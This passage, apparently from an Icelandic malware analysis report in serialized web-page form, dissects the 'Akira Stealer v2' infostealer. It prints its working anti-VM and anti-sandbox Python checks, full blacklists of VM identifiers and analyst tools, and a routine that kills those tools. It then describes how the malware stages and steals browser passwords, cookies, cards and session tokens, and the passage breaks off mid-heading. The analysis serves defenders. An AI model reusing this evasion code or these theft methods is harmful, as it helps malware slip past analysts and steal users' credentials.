(\"virtualbox\", \"vmware\"))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[550,5452,5453,5457,5462,5467,5472,5477,5482,5487,5491,5495,5500,5505,5510,5515,5520,5525],{"__ignoreMap":593},[1685,5454,5455],{"class":1687,"line":1688},[1685,5456,4975],{},[1685,5458,5459],{"class":1687,"line":2064},[1685,5460,5461],{},"def checkRegistry() -> bool:\n",[1685,5463,5464],{"class":1687,"line":2070},[1685,5465,5466],{},"    r1 = subprocess.run(\n",[1685,5468,5469],{"class":1687,"line":2076},[1685,5470,5471],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\DriverDesc 2\",\n",[1685,5473,5474],{"class":1687,"line":2398},[1685,5475,5476],{},"        capture_output=True, shell=True)\n",[1685,5478,5479],{"class":1687,"line":2404},[1685,5480,5481],{},"    r2 = subprocess.run(\n",[1685,5483,5484],{"class":1687,"line":3060},[1685,5485,5486],{},"        \"REG QUERY HKLM\\\\...\\\\0000\\\\ProviderName 2\",\n",[1685,5488,5489],{"class":1687,"line":3855},[1685,5490,5476],{},[1685,5492,5493],{"class":1687,"line":3861},[1685,5494,3852],{"emptyLinePlaceholder":325},[1685,5496,5497],{"class":1687,"line":4106},[1685,5498,5499],{},"    # GPU name check\n",[1685,5501,5502],{"class":1687,"line":5023},[1685,5503,5504],{},"    gpu_out = subprocess.run(\n",[1685,5506,5507],{"class":1687,"line":5029},[1685,5508,5509],{},"        \"wmic path win32_VideoController get name\",\n",[1685,5511,5512],{"class":1687,"line":5035},[1685,5513,5514],{},"        capture_output=True, shell=True).stdout.decode().splitlines()\n",[1685,5516,5517],{"class":1687,"line":5041},[1685,5518,5519],{},"    gpucheck = any(x in gpu_out[2].lower()\n",[1685,5521,5522],{"class":1687,"line":5047},[1685,5523,5524],{},"                   for x in (\"virtualbox\", \"vmware\"))\n",[1685,5526,5527],{"class":1687,"line":5053},[1685,5528,5529],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck\n",[532,5531,5532],{},"Þessar athuganir á vélbúnaðarlaginu eru sérstaklega áhrifaríkar gegn uppsetningum greinenda sem hylja ef til vill ekki sýndarvædda skjástýringu að fullu.",[861,5534,5536],{"id":5535},"_7311-að-drepa-tasks-að-slá-greiningartól-út-í-rauntíma","7.3.11 Að drepa tasks – að slá greiningartól út í rauntíma",[532,5538,867],{},[532,5540,5541],{},"Í stað þess að komast hjá detection eingöngu með óvirkum hætti gengur Akira skrefi framar og stöðvar með virkum hætti þekkt greiningar- og aflúsunartól. Það ræsir bakgrunnsþráð sem fer í gegnum lista ferla og drepur hverja samsvörun sem það finnur.",[587,5543,5545],{"className":4490,"code":5544,"language":4492,"meta":593,"style":593},"@staticmethod\ndef killTasks() -> None:\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n\nBLACKLISTED_TASKS = (\n  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n  # ... dozens more ...\n  'glasswire','requestly'\n)\n",[550,5546,5547,5551,5556,5561,5565,5570,5575,5580,5585],{"__ignoreMap":593},[1685,5548,5549],{"class":1687,"line":1688},[1685,5550,4975],{},[1685,5552,5553],{"class":1687,"line":2064},[1685,5554,5555],{},"def killTasks() -> None:\n",[1685,5557,5558],{"class":1687,"line":2070},[1685,5559,5560],{},"    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[1685,5562,5563],{"class":1687,"line":2076},[1685,5564,3852],{"emptyLinePlaceholder":325},[1685,5566,5567],{"class":1687,"line":2398},[1685,5568,5569],{},"BLACKLISTED_TASKS = (\n",[1685,5571,5572],{"class":1687,"line":2404},[1685,5573,5574],{},"  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',\n",[1685,5576,5577],{"class":1687,"line":3060},[1685,5578,5579],{},"  # ... dozens more ...\n",[1685,5581,5582],{"class":1687,"line":3855},[1685,5583,5584],{},"  'glasswire','requestly'\n",[1685,5586,5587],{"class":1687,"line":3861},[1685,5588,5242],{},[532,5590,5591],{},"Þessi tól, sem viðbragðsaðilar og malware-greinendur nota almennt, eru gerð óvirk áður en þau geta safnað marktækum hegðunar-artifacts.",[532,5593,5594],{},[539,5595,5596],{},"Samantekt",[532,5598,5599],{},"Akira notar fágað safn aðferða gegn greiningu sem beinast að mörgum lögum kerfisins, allt frá umhverfisbreytum og registry-lyklum til netprófana og ferlalista. Þessum búnaði er ætlað að finna og komast hjá bæði sjálfvirkum sandboxum og handvirkum skoðunaruppsetningum.",[532,5601,5602],{},"Samsetning óvirkrar fingrafaratöku og virkrar kúgunar (t.d. að drepa tasks) sýnir hvernig jafnvel malware-fjölskyldur í miðjum flokki samþætta nú evasion-rökvísi í mörgum lögum.",[861,5604,5606],{"id":5605},"_7312-fullir-svartlistar-og-detection-föll","7.3.12 Fullir svartlistar og detection-föll",[532,5608,867],{},[532,5610,5611],{},[539,5612,5613],{},"Svartlistuð vélbúnaðar-UUID",[587,5615,5618],{"className":5616,"code":5617,"language":592},[590],"BLACKLISTED_UUIDS = (\n    '7AB5C494-39F5-4941-9163-47F54D6D5016',\n    '032E02B4-0499-05C3-0806-3C0700080009',\n    '03DE0294-0480-05DE-1A06-350700080009',\n    '11111111-2222-3333-4444-555555555555',\n    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',\n    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',\n    '4C4C4544-0050-3710-8058-CAC04F59344A',\n    '00000000-0000-0000-0000-AC1F6BD04972',\n    '00000000-0000-0000-0000-000000000000',\n    '5BD24D56-789F-8468-7CDC-CAA7222CC121',\n    '49434D53-0200-9065-2500-65902500E439',\n    '49434D53-0200-9036-2500-36902500F022',\n    '777D84B3-88D1-451C-93E4-D235177420A7',\n    '49434D53-0200-9036-2500-369025000C65',\n    'B1112042-52E8-E25B-3655-6A4F54155DBF',\n    '00000000-0000-0000-0000-AC1F6BD048FE',\n    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',\n    'A15A930C-8251-9645-AF63-E45AD728C20C',\n    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',\n    'C7D23342-A5D4-68A1-59AC-CF40F735B363',\n    '63203342-0EB0-AA1A-4DF5-3FB37DBB0670',\n    '44B94D56-65AB-DC02-86A0-98143A7423BF',\n    '6608003F-ECE4-494E-B07E-1C4615D1D93C',\n    'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',\n    '49434D53-0200-9036-2500-369025003AF0',\n    '8B4E8278-525C-7343-B825-280AEBCD3BCB',\n    '4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27',\n    '79AF5279-16CF-4094-9758-F88A616D81B4',\n    'FE822042-A70C-D08B-F1D1-C207055A488F',\n    '76122042-C286-FA81-F0A8-514CC507B250',\n    '481E2042-A1AF-D390-CE06-A8F783B1E76A',\n    'F3988356-32F5-4AE1-8D47-FD3B8BAFBD4C',\n    '9961A120-E691-4FFE-B67B-F0E4115D5919'\n)\n",[550,5619,5617],{"__ignoreMap":593},[532,5621,5622],{},[539,5623,5624],{},"Svartlistuð tölvuheiti",[587,5626,5629],{"className":5627,"code":5628,"language":592},[590],"BLACKLISTED_COMPUTERNAMES = (\n    '00900BC83802', 'bee7370c-8c0c-4', 'desktop-nakffmt', 'win-5e07cos9alr',\n    'b30f0242-1c6a-4', 'desktop-vrsqlag', 'q9iatrkprh', 'xc64zb',\n    'desktop-d019gdm', 'desktop-wi8clet', 'server1', 'lisa-pc', 'john-pc',\n    'desktop-b0t93d6', 'desktop-1pykp29', 'desktop-1y2433r', 'wileypc',\n    'work', '6c4e733f-c2d9-4', 'ralphs-pc', 'desktop-wg3myjs',\n    'desktop-7xc6gez', 'desktop-5ov9s0o', 'qarzhrdbpj', 'oreleepc',\n    'archibaldpc', 'julia-pc', 'd1bnjkfvlh', 'compname_5076',\n    'desktop-vkeons4', 'NTT-EFF-2W11WSS'\n)\n",[550,5630,5628],{"__ignoreMap":593},[532,5632,5633],{},[539,5634,5635],{},"Svartlistaðir notandareikningar",[587,5637,5640],{"className":5638,"code":5639,"language":592},[590],"BLACKLISTED_USERS = (\n    'wdagutilityaccount', 'abby', 'peter wilson', 'hmarc', 'patex',\n    'john-pc', 'rdhj0cnfevzx', 'keecfmwgj', 'frank', '8nl0colnq5bq',\n    'lisa', 'john', 'george', 'pxmduopvyx', '8vizsm', 'w0fjuovmccp5a',\n    'lmvwjj9b', 'pqonjhvwexss', '3u2v9m8', 'julia', 'heuerzl',\n    'harry johnson', 'j.seance', 'a.monaldo', 'tvm'\n)\n",[550,5641,5639],{"__ignoreMap":593},[532,5643,5644],{},[539,5645,5646],{},"Svartlistuð ferli greiningartóla",[587,5648,5651],{"className":5649,"code":5650,"language":592},[590],"BLACKLISTED_TASKS = (\n    'fakenet', 'dumpcap', 'httpdebuggerui', 'wireshark', 'fiddler',\n    'vboxservice', 'df5serv', 'vboxtray', 'vmtoolsd', 'vmwaretray',\n    'ida64', 'ollydbg', 'pestudio', 'vmwareuser', 'vgauthservice',\n    'vmacthlp', 'x96dbg', 'vmsrvc', 'x32dbg', 'vmusrvc', 'prl_cc',\n    'prl_tools', 'xenservice', 'qemu-ga', 'joeboxcontrol',\n    'ksdumperclient', 'ksdumper', 'joeboxserver', 'vmwareservice',\n    'discordtokenprotector', 'glasswire', 'requestly'\n)\n",[550,5652,5650],{"__ignoreMap":593},[532,5654,5655],{},[539,5656,5657],{},"Kjarnaaðferðir við detection",[587,5659,5661],{"className":4490,"code":5660,"language":4492,"meta":593,"style":593},"@staticmethod\ndef checkUUID() -> bool:\n    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n    try:\n        raw = subprocess.run(\n            \"wmic csproduct get uuid\",\n            shell=True, capture_output=True\n        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n    except:\n        raw = \"\"\n    return raw in VmProtect.BLACKLISTED_UUIDS\n\n@staticmethod\ndef checkComputerName() -> bool:\n    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n\n@staticmethod\ndef checkUsers() -> bool:\n    \"\"\"Current login username in VM users list.\"\"\"\n    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n\n@staticmethod\ndef checkHosting() -> bool:\n    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\")\n    try:\n        return http.request(\n            'GET', 'http://ip-api.com/line/?fields=hosting'\n        ).data.decode().strip() == 'true'\n    except:\n        return False\n\n@staticmethod\ndef checkHTTPSimulation() -> bool:\n    \"\"\"\n    Attempt TLS to random subdomain.\n    Failure → possible HTTPS interception/sandbox.\n    \"\"\"\n    http = PoolManager(cert_reqs=\"CERT_NONE\", timeout=1.0)\n    try:\n        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')\n        return True\n    except:\n        return False\n\n@staticmethod\ndef checkRegistry() -> bool:\n    \"\"\"\n    Look for VirtualBox/VMware in:\n    - Registry driver entries\n    - Video card name via WMIC\n    - Presence of VM-specific folders\n    \"\"\"\n    r1 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n        shell=True, capture_output=True\n    )\n    r2 = subprocess.run(\n        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n        shell=True, capture_output=True\n    )\n    gpu = any(\n        x.lower() in subprocess.run(\n            \"wmic path win32_VideoController get name\",\n            shell=True, capture_output=True\n        ).stdout.decode().splitlines()[2].lower()\n        for x in (\"virtualbox\", \"vmware\")\n    )\n    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n\n@staticmethod\ndef killTasks() -> None:\n    \"\"\"Continuously terminate known analysis processes.\"\"\"\n    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)\n",[550,5662,5663,5667,5671,5676,5680,5684,5689,5694,5699,5703,5707,5711,5715,5719,5723,5728,5733,5737,5741,5745,5750,5755,5759,5763,5767,5772,5777,5782,5787,5793,5798,5803,5808,5813,5818,5823,5829,5835,5841,5846,5851,5856,5861,5867,5872,5877,5882,5887,5892,5897,5903,5909,5915,5921,5926,5931,5937,5943,5949,5955,5960,5965,5971,5976,5981,5987,5993,5999,6004,6010,6016,6021,6027,6033,6038,6043,6048,6054],{"__ignoreMap":593},[1685,5664,5665],{"class":1687,"line":1688},[1685,5666,4975],{},[1685,5668,5669],{"class":1687,"line":2064},[1685,5670,5133],{},[1685,5672,5673],{"class":1687,"line":2070},[1685,5674,5675],{},"    \"\"\"WMIC hardware UUID against known VM IDs.\"\"\"\n",[1685,5677,5678],{"class":1687,"line":2076},[1685,5679,5138],{},[1685,5681,5682],{"class":1687,"line":2398},[1685,5683,5143],{},[1685,5685,5686],{"class":1687,"line":2404},[1685,5687,5688],{},"            \"wmic csproduct get uuid\",\n",[1685,5690,5691],{"class":1687,"line":3060},[1685,5692,5693],{},"            shell=True, capture_output=True\n",[1685,5695,5696],{"class":1687,"line":3855},[1685,5697,5698],{},"        ).stdout.splitlines()[2].decode(errors='ignore').strip()\n",[1685,5700,5701],{"class":1687,"line":3861},[1685,5702,5163],{},[1685,5704,5705],{"class":1687,"line":4106},[1685,5706,5168],{},[1685,5708,5709],{"class":1687,"line":5023},[1685,5710,5173],{},[1685,5712,5713],{"class":1687,"line":5029},[1685,5714,3852],{"emptyLinePlaceholder":325},[1685,5716,5717],{"class":1687,"line":5035},[1685,5718,4975],{},[1685,5720,5721],{"class":1687,"line":5041},[1685,5722,5203],{},[1685,5724,5725],{"class":1687,"line":5047},[1685,5726,5727],{},"    \"\"\"ENV %COMPUTERNAME% in VM name list.\"\"\"\n",[1685,5729,5730],{"class":1687,"line":5053},[1685,5731,5732],{},"    return os.getenv(\"computername\", \"\").lower() in VmProtect.BLACKLISTED_COMPUTERNAMES\n",[1685,5734,5735],{"class":1687,"line":5059},[1685,5736,3852],{"emptyLinePlaceholder":325},[1685,5738,5739],{"class":1687,"line":5065},[1685,5740,4975],{},[1685,5742,5743],{"class":1687,"line":5071},[1685,5744,5268],{},[1685,5746,5747],{"class":1687,"line":5077},[1685,5748,5749],{},"    \"\"\"Current login username in VM users list.\"\"\"\n",[1685,5751,5752],{"class":1687,"line":5083},[1685,5753,5754],{},"    return os.getlogin().lower() in VmProtect.BLACKLISTED_USERS\n",[1685,5756,5757],{"class":1687,"line":5089},[1685,5758,3852],{"emptyLinePlaceholder":325},[1685,5760,5761],{"class":1687,"line":5095},[1685,5762,4975],{},[1685,5764,5765],{"class":1687,"line":5101},[1685,5766,5336],{},[1685,5768,5769],{"class":1687,"line":5107},[1685,5770,5771],{},"    \"\"\"Query ip-api.com/hosting → 'true' indicates cloud VM.\"\"\"\n",[1685,5773,5775],{"class":1687,"line":5774},26,[1685,5776,5341],{},[1685,5778,5780],{"class":1687,"line":5779},27,[1685,5781,5138],{},[1685,5783,5785],{"class":1687,"line":5784},28,[1685,5786,5350],{},[1685,5788,5790],{"class":1687,"line":5789},29,[1685,5791,5792],{},"            'GET', 'http://ip-api.com/line/?fields=hosting'\n",[1685,5794,5796],{"class":1687,"line":5795},30,[1685,5797,5365],{},[1685,5799,5801],{"class":1687,"line":5800},31,[1685,5802,5163],{},[1685,5804,5806],{"class":1687,"line":5805},32,[1685,5807,5374],{},[1685,5809,5811],{"class":1687,"line":5810},33,[1685,5812,3852],{"emptyLinePlaceholder":325},[1685,5814,5816],{"class":1687,"line":5815},34,[1685,5817,4975],{},[1685,5819,5821],{"class":1687,"line":5820},35,[1685,5822,5404],{},[1685,5824,5826],{"class":1687,"line":5825},36,[1685,5827,5828],{},"    \"\"\"\n",[1685,5830,5832],{"class":1687,"line":5831},37,[1685,5833,5834],{},"    Attempt TLS to random subdomain.\n",[1685,5836,5838],{"class":1687,"line":5837},38,[1685,5839,5840],{},"    Failure → possible HTTPS interception/sandbox.\n",[1685,5842,5844],{"class":1687,"line":5843},39,[1685,5845,5828],{},[1685,5847,5849],{"class":1687,"line":5848},40,[1685,5850,5409],{},[1685,5852,5854],{"class":1687,"line":5853},41,[1685,5855,5138],{},[1685,5857,5859],{"class":1687,"line":5858},42,[1685,5860,5418],{},[1685,5862,5864],{"class":1687,"line":5863},43,[1685,5865,5866],{},"        return True\n",[1685,5868,5870],{"class":1687,"line":5869},44,[1685,5871,5163],{},[1685,5873,5875],{"class":1687,"line":5874},45,[1685,5876,5374],{},[1685,5878,5880],{"class":1687,"line":5879},46,[1685,5881,3852],{"emptyLinePlaceholder":325},[1685,5883,5885],{"class":1687,"line":5884},47,[1685,5886,4975],{},[1685,5888,5890],{"class":1687,"line":5889},48,[1685,5891,5461],{},[1685,5893,5895],{"class":1687,"line":5894},49,[1685,5896,5828],{},[1685,5898,5900],{"class":1687,"line":5899},50,[1685,5901,5902],{},"    Look for VirtualBox/VMware in:\n",[1685,5904,5906],{"class":1687,"line":5905},51,[1685,5907,5908],{},"    - Registry driver entries\n",[1685,5910,5912],{"class":1687,"line":5911},52,[1685,5913,5914],{},"    - Video card name via WMIC\n",[1685,5916,5918],{"class":1687,"line":5917},53,[1685,5919,5920],{},"    - Presence of VM-specific folders\n",[1685,5922,5924],{"class":1687,"line":5923},54,[1685,5925,5828],{},[1685,5927,5929],{"class":1687,"line":5928},55,[1685,5930,5466],{},[1685,5932,5934],{"class":1687,"line":5933},56,[1685,5935,5936],{},"        \"REG QUERY HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\ControlSet001\\\\Control\\\\Class\"\n",[1685,5938,5940],{"class":1687,"line":5939},57,[1685,5941,5942],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\DriverDesc 2\",\n",[1685,5944,5946],{"class":1687,"line":5945},58,[1685,5947,5948],{},"        shell=True, capture_output=True\n",[1685,5950,5952],{"class":1687,"line":5951},59,[1685,5953,5954],{},"    )\n",[1685,5956,5958],{"class":1687,"line":5957},60,[1685,5959,5481],{},[1685,5961,5963],{"class":1687,"line":5962},61,[1685,5964,5936],{},[1685,5966,5968],{"class":1687,"line":5967},62,[1685,5969,5970],{},"        \"\\\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\\\0000\\\\ProviderName 2\",\n",[1685,5972,5974],{"class":1687,"line":5973},63,[1685,5975,5948],{},[1685,5977,5979],{"class":1687,"line":5978},64,[1685,5980,5954],{},[1685,5982,5984],{"class":1687,"line":5983},65,[1685,5985,5986],{},"    gpu = any(\n",[1685,5988,5990],{"class":1687,"line":5989},66,[1685,5991,5992],{},"        x.lower() in subprocess.run(\n",[1685,5994,5996],{"class":1687,"line":5995},67,[1685,5997,5998],{},"            \"wmic path win32_VideoController get name\",\n",[1685,6000,6002],{"class":1687,"line":6001},68,[1685,6003,5693],{},[1685,6005,6007],{"class":1687,"line":6006},69,[1685,6008,6009],{},"        ).stdout.decode().splitlines()[2].lower()\n",[1685,6011,6013],{"class":1687,"line":6012},70,[1685,6014,6015],{},"        for x in (\"virtualbox\", \"vmware\")\n",[1685,6017,6019],{"class":1687,"line":6018},71,[1685,6020,5954],{},[1685,6022,6024],{"class":1687,"line":6023},72,[1685,6025,6026],{},"    dirs = any(os.path.isdir(d) for d in ('D:\\\\Tools','D:\\\\OS2','D:\\\\NT3X'))\n",[1685,6028,6030],{"class":1687,"line":6029},73,[1685,6031,6032],{},"    return (r1.returncode != 1 and r2.returncode != 1) or gpu or dirs\n",[1685,6034,6036],{"class":1687,"line":6035},74,[1685,6037,3852],{"emptyLinePlaceholder":325},[1685,6039,6041],{"class":1687,"line":6040},75,[1685,6042,4975],{},[1685,6044,6046],{"class":1687,"line":6045},76,[1685,6047,5555],{},[1685,6049,6051],{"class":1687,"line":6050},77,[1685,6052,6053],{},"    \"\"\"Continuously terminate known analysis processes.\"\"\"\n",[1685,6055,6057],{"class":1687,"line":6056},78,[1685,6058,5560],{},[861,6060,6062],{"id":6061},"_7313-rökvísi-keyrslu-og-stöðvunar","7.3.13 Rökvísi keyrslu og stöðvunar",[532,6064,867],{},[2084,6066,6067,6080,6093],{},[606,6068,6069,2034,6072,6075,6076,6079],{},[539,6070,6071],{},"Frumstilling:",[550,6073,6074],{},"Akira.__init__()","-smiðnum kallar malware-ið samstundis á ",[550,6077,6078],{},"VmProtect.isVM(1)"," til að framkvæma hraðar sýndarvæðingarathuganir með lítinn tilkostnað (t.d. hostname, notanda, HTTPS-hermun).",[606,6081,6082,6085,6086,6089,6090,6092],{},[539,6083,6084],{},"Djúpskoðun:"," ef fyrsta prófið gengur upp kallar það á ",[550,6087,6088],{},"VmProtect.isVM(2)",", sem kveikir á heildstæðari athugunum, þar á meðal staðfestingu á vélbúnaðar-UUID, detection á hýsingu í gegnum ",[550,6091,5321],{}," og skönnun á registry-artifacts.",[606,6094,6095,6098,6099,6101,6102,6104],{},[539,6096,6097],{},"Stöðvunarleið:"," ef einhver athugun skilar ",[550,6100,4666],{},", sem gefur sýndar- eða greiningarumhverfi til kynna, keyrir kóðinn ",[550,6103,4670],{}," og stöðvar keyrsluna áður en nokkrar rútínur til gagnasöfnunar eða exfiltration fara í gang.",[861,6106,6108],{"id":6107},"_7314-niðurstaða","7.3.14 Niðurstaða",[532,6110,867],{},[532,6112,6113,6115,6116,6118],{},[550,6114,4614],{},"-einingin í ",[4627,6117,650],{}," sýnir lagskipta vörn gegn greiningu sem nýtir bæði fingraför staðbundna kerfisins og netbyggða heuristík. Með því að skilja þessar nákvæmu athuganir og mæla þær geta þeir sem verjast snúið taflinu við og greint slíkt evasivt malware í raunumhverfum.",[713,6120,6122],{"id":6121},"_74-exfiltration-browsergagna","7.4 Exfiltration browsergagna",[532,6124,719],{},[532,6126,6127,6128,557,6131,6134],{},"Eitt af kjarnamarkmiðum Akira Stealer v2 er umfangsmikill útdráttur viðkvæmra gagna sem browserinn hefur vistað. Malware-ið hefur sérsniðnar einingar sem beinast bæði að ",[539,6129,6130],{},"Chromium-byggðum",[539,6132,6133],{},"Gecko-byggðum (Firefox)"," browsers. Geta þess nær til útdráttar og afkóðunar á vistuðum lykilorðum, cookies, kreditkortagögnum, sjálfvirkum útfyllingarfærslum og jafnvel setutokens sem má nota til að yfirtaka reikninga að fullu.",[532,6136,6137],{},[539,6138,6139],{},"1. Uppsetning vinnusvæðis",[587,6141,6143],{"className":4490,"code":6142,"language":4492,"meta":593,"style":593},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\nos.makedirs(client_dir, exist_ok=True)\nfor sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[550,6144,6145,6150,6155,6160],{"__ignoreMap":593},[1685,6146,6147],{"class":1687,"line":1688},[1685,6148,6149],{},"client_dir = Utils.get_temp_folder()  # e.g., C:\\Windows\\Temp\\DESKTOP-1234\n",[1685,6151,6152],{"class":1687,"line":2064},[1685,6153,6154],{},"os.makedirs(client_dir, exist_ok=True)\n",[1685,6156,6157],{"class":1687,"line":2070},[1685,6158,6159],{},"for sub in (\"Passwords\",\"Cookies\",\"CreditCards\",\"History\",\"Autofill\",\"Wallets\"):\n",[1685,6161,6162],{"class":1687,"line":2076},[1685,6163,6164],{},"    os.makedirs(os.path.join(client_dir, sub), exist_ok=True)\n",[603,6166,6167,6174,6177,6180,6183],{},[606,6168,6169,6170],{},"Búið er til einnota staging-svæði undir tímabundnu möppu kerfisins, nefnt eftir vél fórnarlambsins (%TEMP%\\DESKTOP-",[6171,6172,6173],"hostname",{},"), sem tryggir að allir exfiltreraðir artifacts safnist á einn stað sem auðvelt er að pakka.",[606,6175,6176],{},"Gögn eru einangruð eftir tegund: sex sérstakar undirmöppur (Passwords, Cookies, CreditCards, History, Autofill, Wallets) koma í veg fyrir nafnaárekstra og einfalda pökkun síðar, því hver útdráttarrútína skrifar aðeins í sína eigin möppu.",[606,6178,6179],{},"Möppur eru búnar til á sjálfvirkan óskaðlegan hátt með exist_ok=True, svo ef malware-ið keyrir aftur (t.d. við endurræsingu eða persistence) hrynur það ekki og skrifar ekki yfir gögn sem þegar eru til, ný atriði leggjast einfaldlega við sömu uppbyggingu.",[606,6181,6182],{},"Það greiðir fyrir valkvæmri tiltekt: þegar upphali og tilkynningu er lokið getur stealerinn kallað á Utils.clear_client_folder() til að eyða endurkvæmt aðeins sínu eigin vinnusvæði og skilja engar skrár eftir.",[606,6184,6185],{},"Það leggur grunninn að samhliða útdráttarþráðum: með því að búa öll markmið til fyrirfram geta bakgrunnsþræðir sem safna browser-credentials, cookies, sjálfvirkum útfyllingum, kryptóveskjagögnum og öðru skrifað niðurstöður samstundis án frekari athugana, sem lágmarkar tilkostnað og minnkar þann glugga sem varnarhookar hafa til að greina óvænta skráa-I/O.",[532,6187,6188],{},[539,6189,6190],{},"2. Studdir browsers",[603,6192,6193,6236],{},[606,6194,6195,6198],{},[539,6196,6197],{},"Chromium‑byggðir",[603,6199,6200,6203,6206,6209,6212,6215,6218,6221,6224,6227,6230,6233],{},[606,6201,6202],{},"Google Chrome (Stable & SxS)",[606,6204,6205],{},"Microsoft Edge",[606,6207,6208],{},"Brave Browser",[606,6210,6211],{},"Opera & Opera GX",[606,6213,6214],{},"Chromium",[606,6216,6217],{},"Comodo Dragon",[606,6219,6220],{},"Epic Privacy Browser",[606,6222,6223],{},"Iridium Browser",[606,6225,6226],{},"UR Browser",[606,6228,6229],{},"Vivaldi Browser",[606,6231,6232],{},"Yandex Browser",[606,6234,6235],{},"Slimjet, Amigo, Torch, Kometa, Orbitum, CentBrowser, 7Star, Sputnik, Uran",[606,6237,6238,6241,6242,1111,6245,6256,6258,6259,6268,6270,6271,619,6274,6277],{},[539,6239,6240],{},"Firefox‑byggðir"," (í gegnum ",[550,6243,6244],{},"GeckoDriver",[603,6246,6247,6250,6253],{},[606,6248,6249],{},"Mozilla Firefox",[606,6251,6252],{},"Waterfox",[606,6254,6255],{},"Pale Moon",[697,6257],{},"Akira finnur notandaprófíla dýnamískt með umhverfisbreytum og vel þekktri möppuuppbyggingu:",[587,6260,6262],{"className":4490,"code":6261,"language":4492,"meta":593,"style":593},"user_path = os.path.join(os.getenv(\"LOCALAPPDATA\"), \"Google\", \"Chrome\", \"User Data\")\n",[550,6263,6264],{"__ignoreMap":593},[1685,6265,6266],{"class":1687,"line":1688},[1685,6267,6261],{},[697,6269],{},"Það athugar endurkvæmt hvaða browser-prófílar eru til (t.d. ",[550,6272,6273],{},"Default",[550,6275,6276],{},"Profile 1"," og fleiri) og beinist að SQLite-gagnagrunnum inni í þeim slóðum.",[861,6279,6281],{"id":6280},"_741-gagnategundir-sem-dregnar-eru-út","7.4.1 Gagnategundir sem dregnar eru út",[532,6283,867],{},[1390,6285,4680,6286],{},[1406,6287,6288,4680,6301,4680,6314,4680,6326,4680,6338,4680,6350,4680,6361],{},[1396,6289,4685,6290,4685,6294,4685,6298,4680],{},[1399,6291,6293],{"style":6292},"text-align: left; width: 22%;","Gagnategund",[1399,6295,6297],{"style":6296},"text-align: left; width: 28%;","Upprunaskrá",[1399,6299,6300],{},"Athugasemdir",[1396,6302,4685,6303,4685,6306,4685,6311,4680],{},[1411,6304,6305],{},"Vistuð lykilorð",[1411,6307,6308,6310],{},[550,6309,556],{}," (Chromium)",[1411,6312,6313],{},"Afkóðað með DPAPI eða AES-GCM (eftir Chromium v80)",[1396,6315,4685,6316,4685,6319,4685,6323,4680],{},[1411,6317,6318],{},"Cookies",[1411,6320,6321],{},[550,6322,6318],{},[1411,6324,6325],{},"Getur innihaldið setutokens, sérstaklega fyrir Google- og Facebook-reikninga",[1396,6327,4685,6328,4685,6331,4685,6335,4680],{},[1411,6329,6330],{},"Sjálfvirk útfyllingargögn",[1411,6332,6333],{},[550,6334,560],{},[1411,6336,6337],{},"Heimilisföng, tölvupóstar, símanúmer og fleira",[1396,6339,4685,6340,4685,6343,4685,6347,4680],{},[1411,6341,6342],{},"Kreditkort",[1411,6344,6345],{},[550,6346,560],{},[1411,6348,6349],{},"Dulkóðað, þarf masterlykil",[1396,6351,4685,6352,4685,6355,4685,6358,4680],{},[1411,6353,6354],{},"Setutokens",[1411,6356,6357],{},"Í minni og í cookies",[1411,6359,6360],{},"Nær yfir Gmail, Google-reikninga og replay á Discord-OAUTH",[1396,6362,4685,6363,4685,6366,4685,6374,4680],{},[1411,6364,6365],{},"Ferilskrá og URL",[1411,6367,6368,619,6371],{},[550,6369,6370],{},"History",[550,6372,6373],{},"Visited Links",[1411,6375,6376],{},"Voru einnig exfiltreruð til árásaraðilans",[826,6378],{"className":6379},[829,830],[532,6381,6382,6385],{},[539,6383,6384],{},"3. Útdráttareiningar","\nÞegar höfundar malware beinast að browsers eru helstu fjársjóðirnir hinir ýmsu SQLite-gagnagrunnar þar sem Chrome, Firefox og skyld forrit geyma credentials, cookies, ferilskrá og sjálfvirkar útfyllingarfærslur. astor.py vefur saman léttu Python-kóða og innbyggðum API til að plokka hvert gagnabrot með aðferð, og jafnvel endurspila lifandi OAuth-setur, án þess að skilja eftir spor. Hér fyrir neðan er ítarleg ferð eining fyrir eining, orðrétt úr kóðanum.",[861,6387,6389,6390,1111],{"id":6388},"_742-lykilorðadumpari-chromiumgetpasswords","7.4.2 Lykilorðadumpari 